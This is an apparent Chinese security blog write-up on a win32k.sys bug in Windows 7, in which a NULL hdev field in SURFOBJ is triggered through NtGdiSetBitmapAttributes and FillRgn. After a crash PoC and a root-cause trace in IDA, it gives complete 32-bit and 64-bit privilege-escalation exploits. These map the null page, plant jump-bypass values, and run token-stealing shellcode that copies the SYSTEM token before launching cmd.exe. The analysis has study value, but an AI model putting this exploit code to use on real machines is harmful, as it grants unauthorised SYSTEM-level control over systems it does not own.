1 前言
-
windows 7 32旗舰版
-
windbg
3 poc
3.1poc复现
首先k0shl大佬给出的poc():
/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
Trigger_BSoDPoc();
return 0;
}
注意 这些地方可能需要稍作修改:
-
首先是对NtGdiSetBitmapAttributes的重构定义中使用的W32KAPI:
-
其次是KiFastSystemCall没有提供地址:
//可以直接在函数内LoadLibrary之后使用GetProcAddress获取KiFastSystemCall地址。
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
生成并在 目标系统中运行,产生如下异常:
3.2 poc分析
下面是poc的触发函数:
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
简述分析:
这个漏洞和BitMap有关,触发漏洞所在流程:创建 bitmap--> 创建HDC设备-->绑定(选中)一个bitmap-->创建画刷,矩形-->使用FillRgn填充
应该是前面几个步骤中的不当行为,在调用FillRgn的时候触发了漏洞.
4 漏洞分析
4.1 查看异常上下文
首先查看 寄存器环境:
分析:
可以看到 eax=0,导致了崩溃语句中 eax+24h是一个非法地址.
看到几个关键函数以及偏移,接下来在IDA静态分析。
4.2 使用IDA分析该模块
通过IDA 加载win32k.sys 分析(注意加载符号文件):
看到和参数2有关,而参数二 是 EBRUSHOBJ * ,而且我们可以根据附近的上下文获得下面的关系式:
[ [ [arg_4] +34h ] +1ch] + 24h ]
arg_4 = ebp +0xc
关系式还可以写成如下:
[ [ [ ebp +0xc ] + 34h ] + 1ch] + 24h ]
所以目前我们需要知道 EBRUSHOBJ:0x34 是什么类型的数据
由于EBRUSHOBJ 是未公开的结构体,所以不好找缘由,只有追溯ERUSHOBJ* a2的来源:
-
追溯上一层分析:发现是刚才的a2 是 pvGetEngBrush(struct _BRUSHOBJ * a1) 调用时传入的参数 a1.
-
继续追溯上一层:
在本层查看局部变量v13的数据来源: 可以看到是 调用 EngBitBlt的时候传入的第9个参数 struct _BRUSHOBJ *a9
-
继续追溯上层:发现是 EngPaint() 的第三个参数 struct _BRUSHOBJ *a3
-
继续向上追溯:这里 我是分析完了再截的图,这里的 v5 是分析了vInitBrush() 才确定的关系,但是在这里我们可以看到 v18 是前面我们分析的 struct _BRUSHOBJ *a3;往上一看,有一个初始化v18的函数,这里就是关键处了。接下来我们查看vInitBrush()
vInitBrush():通过查看vInitBrush() ,可以看到 这里的this (前面的 v18 ), v18[13] 即 我们崩溃触发点的 a2[13] (前面回溯流程第一张图里)。那么奔溃数据源 就转移到了 vInitBrush() 的第6个参数 a6; 接下来返回上一层 查看 vInitBrush()的第6个参数数据。
-
可以看到 a6刚好 就是我们的 v5,而 v5 在这儿是 int类型所以 +16 在这儿就是简单的+16=10h. 而 根据最开始的分析异常崩溃处是 [a2[13]+7] ,这里 a2[13] 是一个指针,所以 +7 应该是数值上的+ 28 即 1ch, 而 a2[13] = 前面的a6 = v5 ,而 v5 +10h是一个 _SURFOBJ 结构体指针,所以 奔溃处的 [a2[13]+7] = v5 +1ch = _SUROBJ:0ch 。
而_SUROBJ 是一个公开的结构体:
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;// 0ch ------- 找到了 是这里为 0 导致了错误的诞生。
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;可以看到 这个结构体中0ch 偏移处是 HDEV hdev.
4.3 结论
_SURFOBJ 结构体中 HDEV字段 hdev 为 0 导致了这个漏洞的产生,也即[EBRUSHOBJ:0x34]:0x1c 处为0 导致了这个漏洞
所以可以得出结论是 hdev 没有正确得到初始化, 造成的这个漏洞的触发; 由于目前水平有限这里对内核函数(HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);不明白其dwflag = 0x89f 的意义。
5 漏洞利用EXP
5.1 分析提取可利用点
由于这里win7 32/64 可以直接调用NtAllocateVirtualMemory申请零页内存,那么这里可以调用此函数申请内存,然后在特定位置放上我们的代码等着它call 就行了。
那么哪里可利用点在哪里呢?
梳理一下: 在异常之前,那些都是正常运行过来了,所以这里我们可以在异常崩溃所处的函数内部找那些 和 a2 (崩溃处的a2 --IDA中标识第二个参--即是 引发崩溃的数据来源)有关的 call, 这些call 即为可利用点。
继续使用IDA按f5查看和a2相关的call,发现如下可利用点:
查看汇编层:
但是注意,前面有几个条件跳转语句,为了是执行流正常来到这里,我们必须将前面几个跳转语句过掉:
整理之后发现有三处:
-
if(! v23) 处不能为真
分析:
这里可以看到 v20 = a2, v23 = *((WORD*)V20 + 712); 因为 v20 被强转成 WORD * 型, 所以在 V20 + 712 = (byte* )a2 + 712 *2 = a2 +590h.
结论:
word ptr [(byte *)a2 + 590h] != 0
-
if(!*24) 处不能为真
分析:
v24 = (WORD *)((char *)V20 +1426); 这里 V20 被强转成 char * 类型,所以 v24 = (char *) v20 + 1426 = (byte *)a2 + 592h;
结论:
word ptr [(byte *)a2 + 592h] != 0
-
if(v26) 处必须为真
分析:
在 v26 = a2[466] ; 因为 a2 是一个指针,所以 a2[466] = dword ptr [(byte *)a2 + 466*4] = dword ptr[ (byte*) a2 +748h];
结论:
所以 dword ptr[(byte*)a2 = 748h] !=0
综上分析:
在以下条件处成立,即可利用 此处。
word ptr [(byte *)a2 + 590h] != 0
word ptr [(byte *)a2 + 592h] != 0
dword ptr[(byte*)a2 = 748h] !=0
5.2 利用原理
win7 32/64 可以使用 NtAllocateVirtualMemory() 任意申请 0零页内存,而且还没有 SMEP(这里的知识是安全客上学的,还有HEVD), SMEP有点像DEP,是内核的一种缓解措施,我们可以将它简单的理解成禁止在内核态下执行用户空间的代码). 所以直接就能在 RING0 执行 RING3 的代码完成提权。
这里提权的方式是将当前进程的Token 安全令牌换成系统的,即能实现切换到system 最高权限。
5.3 利用实现
(有些代码参考k0shl大佬的,因为原理流程是那样)
-
使用NtAllocateVirutalMemory() 申请0页内存,并设置前面分析的跳转条件通过
// 定义函数原型
typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
// 定义函数指针
NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;
// 通过LoadLibrary() 动态获取 NtAllocatVirtualMemory函数指针
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
DWORD Virtual_BaseAddr = 1;// 不能为0 且0x小于1000
DWORD RegionSize = 0x1000; // 申请的大小
// 调用NtAllocateVirtualMemory()申请0页内存
ULONG VirtualMemory_Result = NtAllocateVirtualMemory(
(LPVOID)&Virtual_BaseAddr, // 为了申请 0页内存 基址不能为 0,0 标识随机 ,但是得小于0x1000
0,//忽略
&RegionSize,//0x1000 就够了
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 设置关键条件跳转
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;// 这里 即 是 v26 利用点那儿
*(DWORD*)jump_addr = XXXXXFunc_Addr;// 这里放目标跳转函数 提权代码
-
获取系统 token 换到当前进程
int __stdcall StealToken(int x.int y,int z,int w)
{
__asm {
// 保存寄存器环境
pushad; save registers state
xor eax, eax; Set zero
// 由于 通过kifastsystemcall 调用系统服务 已经到0环来了,这时候的FS 放的是KPCR,切记
// 这里获取的 CurrentThread 也即 当前的KTHREAD 线程环境
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
// 通过 KTHREAD 获取EPROCESS, KTHREAD.ApcState.Process
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
// 保存当前找到的EPROCESS -- >ECX
mov ecx, eax; Copy current _EPROCESS structure
//获取 token
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
// system PID -- win7 的system pid = 4
mov edx, SYSTEM_PID;
// 循环遍历进程,查找PID 为4 的 system process
SearchSystemPID:
// _EPROCESS.ActiveProcessLinks.Flink -- 这个循环链保存着所有的进程EPROCESS
mov eax, [eax + FLINK_OFFSET];
// 减去偏移量来到 EPROCESS 基址
sub eax, FLINK_OFFSET
// 获取当前进程结构体中 保存的 PID
cmp[eax + PID_OFFSET], edx;
// 判断是否是目标 进程 -- system -- 如果不是就继续遍历
jne SearchSystemPID
// 获取system 的token
mov edx, [eax + TOKEN_OFFSET];
// 拷贝system token 到当前进程的token
mov[ecx + TOKEN_OFFSET], edx;
// 恢复上下文环境
popad; restore registers state
}
return 0;
}
5.4 在提权后弹一个shell 用以验证
void PopShell()
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(L"C:\Windows\System32\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}
5.5 完整提权EXP
// nt!_KPCR.PcrbData.CurrentThread
// nt!_KTHREAD.ApcState.Process
// nt!_EPROCESS.UniqueProcessId
// nt!_EPROCESS.ActiveProcessLinks.Flink
// nt!_EPROCESS.Token
// SYSTEM Process PID
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
pushad; save registers state
xor eax, eax; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad; restore registers state
}
return 0;
}
typedef struct _GDICELL {
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL, *PGDICELL;
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
HBITMAP hBitmap;
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
void PopShell()
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(L"C:\Windows\System32\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}
int main(int argc, char* argv[])
{
HANDLE hProcess;
DWORD dwPID = GetCurrentProcessId();
DWORD Virtual_BaseAddr = 1;
SIZE_T RegionSize = 0x1000;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID);
NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
ULONG VirtualMemory_Result = NtAllocateVirtualMemory(hProcess,
(LPVOID*)&Virtual_BaseAddr,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (VirtualMemory_Result != 0x0)
printf(" [!] Failed to allocate memory at BaseAddress, error: 0x%X
", VirtualMemory_Result);
else {
printf(" [*] Allocated memory at BaseAddress");
}
memset(0x0, 0, 0x1000);
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
Trigger_BSoDPoc();
PopShell();
return 0;
}
6 查看提权效果
7 升级为 64位 提权 EXP
这里64位分析过程和32位类似,篇幅限制就不一一赘述了。
7.1 解决vs64位汇编不支持内联的问题
点击项目属性,按照下图索引
然后勾选上 masm ;即可 编译asm 文件,虽然不能支持内联,但是也能使用asm 中创建api 调用asm api 的方式替换。
7.2 win7-64位 分析 KiSystemCall64
这里系统调用KifastCallentryshi32位中的的调用,在64位发生了改变,使用syscall ,KiSystemCall64:
R10和R11是呼叫密集型暂存器。用asm编写的透明包装函数可以将它们用于暂存空间,而不会干扰RCX,RDX,R8,R9中的任何args,并且无需在任何地方保存/恢复保留调用的寄存器。
R12..R15是调用保留的寄存器,您可以将其用于任何需要的寄存器,只要在返回之前保存/恢复它们即可。
R10和R11还是x86-64 SysV中的非参数传递调用对象寄存器。有趣的事实2:syscall 破坏 R11(和RCX),因此Linux使用R10而不是RCX来将参数传递给系统调用,但否则使用与用户空间函数调用相同的register-arg传递约定
还是查看一下 KiSystemCall64 满足以下好奇心:
syscall是AMD CPU下的sysenter,以此进入内核层,由于64位下没有nt!KiFastCallEntry,而改用的是nt!KiSystemCall64,在64位系统下启用了四个新的MSR寄存器,有不同的作用,其中MSR_LSTAR保存的是rip的相关信息,可以通过rdmsr c0000082的方法查看到syscall跳转地址。这个地址正是nt!KiSystemCall64的入口地址。
32位与64位call地址的区别见:加密解密4 543页
前置: ntdll!NtCreateDebugObject: 00000000`76d70680 4c8bd1 mov r10,rcx 00000000`76d70683 b890000000 mov eax,90h 00000000`76d70688 0f05 syscall 00000000`76d7068a c3 ret
syscall { rcx = rip; /* save rip for syscall return / r11 = rflags; / save rflags to r11 / ... jmp MSR_LSTAR; / MSR_LSTAR = __readmsr(0xC0000082); */ }
-
所以分析kiSystemcall64 (参看看雪论坛):
nt!KiSystemCall64:
fffff800`03ee5640 0f01f8 swapgs//交换MSR(c0000101)GS基址与MSR(C0000102)-内核GS //基址KPCR
fffff800`03ee5643 654889242510000000 mov qword ptr gs:[10h],rsp//保存用户态栈
fffff800`03ee564c 65488b2425a8010000 mov rsp,qword ptr gs:[1A8h]//切换到内核栈
fffff800`03ee5655 6a2b push 2Bh
fffff800`03ee5657 65ff342510000000 push qword ptr gs:[10h]
fffff800`03ee565f 4153 push r11//rflags --intel手册有说明
fffff800`03ee5661 6a33 push 33h
fffff800`03ee5663 51 push rcx//保存的是用户态syscall的下一条指令
fffff800`03ee5664 498bca mov rcx,r10//把系统调用的第一个参数重新赋值给ecx
fffff800`03ee5667 4883ec08 sub rsp,8
fffff800`03ee566b 55 push rbp
....
.text:000000014007F800 :
.text:000000014007F800 and eax, 0Fh ; 取系统调用参数个数
.text:000000014007F803 jz KiSystemServiceCopyEnd
.text:000000014007F809 shl eax, 3 ; 参数个数*8
.text:000000014007F80C lea rsp, [rsp-70h]
.text:000000014007F811 lea rdi, [rsp+190h+var_178]
....
.text:000000014007F840 loc_14007F840:
.text:000000014007F840 lea r11, KiSystemServiceCopyEnd
.text:000000014007F847 sub r11, rax //eax = 参数个数*8
.text:000000014007F84A jmp r11 //r11指向的代码会拷贝系统调用的参数到内核栈;
.text:000000014007F84A // 每向上8字节代码,多拷贝一个参数
....
.text:000000014007F8C0 KiSystemServiceCopyEnd:
.text:000000014007F8C0 test cs:dword_140207688, 40h ; 性能计数的开关
.text:000000014007F8CA jnz loc_14007FB20
.text:000000014007F8D0 call r10 ; call系统调用
注:这里不知道具体怎么系统调用的,所以我看了以下gdi32.dll的源码如下:
可以看到在SetBitmapAttributes中调用了NtGdiBitmapAttributes,那我们直接分析SetBitmapAttributes。
还说分析一下的,结果直接加载符号用IDA 查看 就出来了:
7.3 升级EXP
调整后的asm 文件如下:(这里使用 https://www.vergiliusproject.com/kernels 查看的结构体偏移,eprocess链接: https://www.vergiliusproject.com/kernels/x64/Windows%207%20%7C%202008R2/RTM/_EPROCESS)
// 调整后的 exp 汇编代码 文件:
public NtGdiSetBitmapAttributes
public ShellCode
_TEXT SEGMENT
NtGdiSetBitmapAttributes PROC
mov r10,rcx;
mov eax,125fh;
syscall;
ret;
NtGdiSetBitmapAttributes ENDP
ShellCode PROC
push rdx
push rdi
push rcx
mov rax,qword ptr gs:[188h]
mov rax,qword ptr [rax+70h]
mov rdi, rax ;rdi--> currentprocess's EPROCESS
mov rdx, qword ptr [rax + 188h] ;rdx --> flink
_begin :
mov rcx, qword ptr[rdx - 8]
cmp rcx, 4
jz _end
mov rdx, qword ptr [rdx]
jmp _begin
_end :
mov rax, qword ptr[rdx + 80h] ;set system process's
mov qword ptr[rdi + 208h], rax
pop rcx
pop rdi
pop rdx
ret
ShellCode ENDP
END
// 调整后的exp.cpp
EXTERN_C HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1);
EXTERN_C ULONG64 ShellCode();
typedef void* (WINAPI* MYWINAPIPTR)(void);
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int __stdcall Call(int one, int two, int three, int four)
{
ShellCode();
return 0;
}
typedef __kernel_entry NTSYSCALLAPI NTSTATUS (*fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
void NullPageAlloc()
{
HMODULE hntdll = GetModuleHandle(TEXT("ntdll"));
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
PVOID addr = (PVOID)0x100;
ULONG64 size = 0x1000;
HANDLE xx = GetCurrentProcess();
NtAllocateVirtualMemory(xx,&addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
DWORD * p = NULL;
memset(0x0, 0, 0x1000);
void* bypass_one = (void *)0x858;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x85A;
*(LPBYTE)bypass_two = 0x1;
void* call_addr = (void *)0xA98;
*(LPVOID*)call_addr = (LPVOID)Call;
}
int main()
{
NullPageAlloc();
Trigger_BSoDPoc();
system("cmd");
return 0;
}